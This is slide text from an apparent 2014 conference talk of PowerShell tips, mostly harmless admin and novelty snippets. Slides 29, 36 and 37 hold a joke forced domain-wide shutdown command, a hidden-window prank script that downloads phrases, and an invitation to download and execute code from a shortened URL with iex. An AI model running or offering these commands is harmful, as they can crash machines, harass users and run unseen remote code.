  • 25. Training and Consulting: contact@winsmarts.com Find orphaned items in a content database $cdb = get-SPContentDatabase $cdb.Repair($false)
  • 26. Training and Consulting: contact@winsmarts.com Find methods and properties on an object $web = Get-SPWeb http://sp $web | Get-Member
  • 27. Training and Consulting: contact@winsmarts.com How is the weather outside? Invoke-RestMethod -Uri "http://api.openweathermap.org/data/2.5/weather?q=Zagreb"
  • 28. Training and Consulting: contact@winsmarts.com Now that you got everything to work .. What PS commands did I use? Get-History | Select –Expand CommandLine | Out-File script.ps1
  • 29. Training and Consulting: contact@winsmarts.com Find a new job, through Powershell stop-computer -force | Get-ADComputer -Filter *
  • 30. Training and Consulting: contact@winsmarts.com
  • 31. Training and Consulting: contact@winsmarts.com PowerShell for Office 365
  • 32. Training and Consulting: contact@winsmarts.com PowerShell & Office 365
  • 33. Training and Consulting: contact@winsmarts.com PowerShell References
  • 34. Training and Consulting: contact@winsmarts.com Sound after a long running script.. $([char]7) [console]::beep(500,300) [console]::beep(440,500) [console]::beep(440,500) [console]::beep(440,500) [console]::beep(349,350) [console]::beep(523,150) [console]::beep(440,500)
  • 35. Training and Consulting: contact@winsmarts.com Speech using PowerShell Add-Type -AssemblyName System.Speech $synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer $synth.Speak(’If you think this is cool, it only gets better from here')
  • 36. Training and Consulting: contact@winsmarts.com Drive your sysadmin mad Add-Type -AssemblyName System.Speech $synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer Invoke-WebRequest -uri "http://blah.winsmarts.com/Pranks.txt" -OutFile "c:codephrases.txt" $phrases = Get-Content "c:codephrases.txt" while ($true) { $phrase = Get-Random $phrases ; $synth.Speak($phrase) ;start-sleep 5 } powershell.exe -windowstyle hidden -scriptname lol.ps1
  • 37. Training and Consulting: contact@winsmarts.com And try this.. iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)
  • 38. Training and Consulting: contact@winsmarts.com Found anything useful? http://blah.winsmarts.com/2014-10-Powershell_Tips_and_Tricks_(and_commandline).aspx bit.ly/poshtips
  • 39. Training and Consulting: contact@winsmarts.com questions? HTTP://WWW.WINSMARTS.COM/CONTACT.ASPX @SAHILMALIK
  • 40. Training and Consulting: contact@winsmarts.com thank you. SHAREPOINT AND PROJECT CONFERENCE ADRIATICS ZAGREB, 10/15/2014 - 10/16/2014

Editor's Notes

  1. [console]::beep(440,500) [console]::beep(440,500) [console]::beep(440,500) [console]::beep(349,350) [console]::beep(523,150) [console]::beep(440,500) [console]::beep(349,350) [console]::beep(523,150) [console]::beep(440,1000) [console]::beep(659,500) [console]::beep(659,500) [console]::beep(659,500) [console]::beep(698,350) [console]::beep(523,150) [console]::beep(415,500) [console]::beep(349,350) [console]::beep(523,150) [console]::beep(440,1000)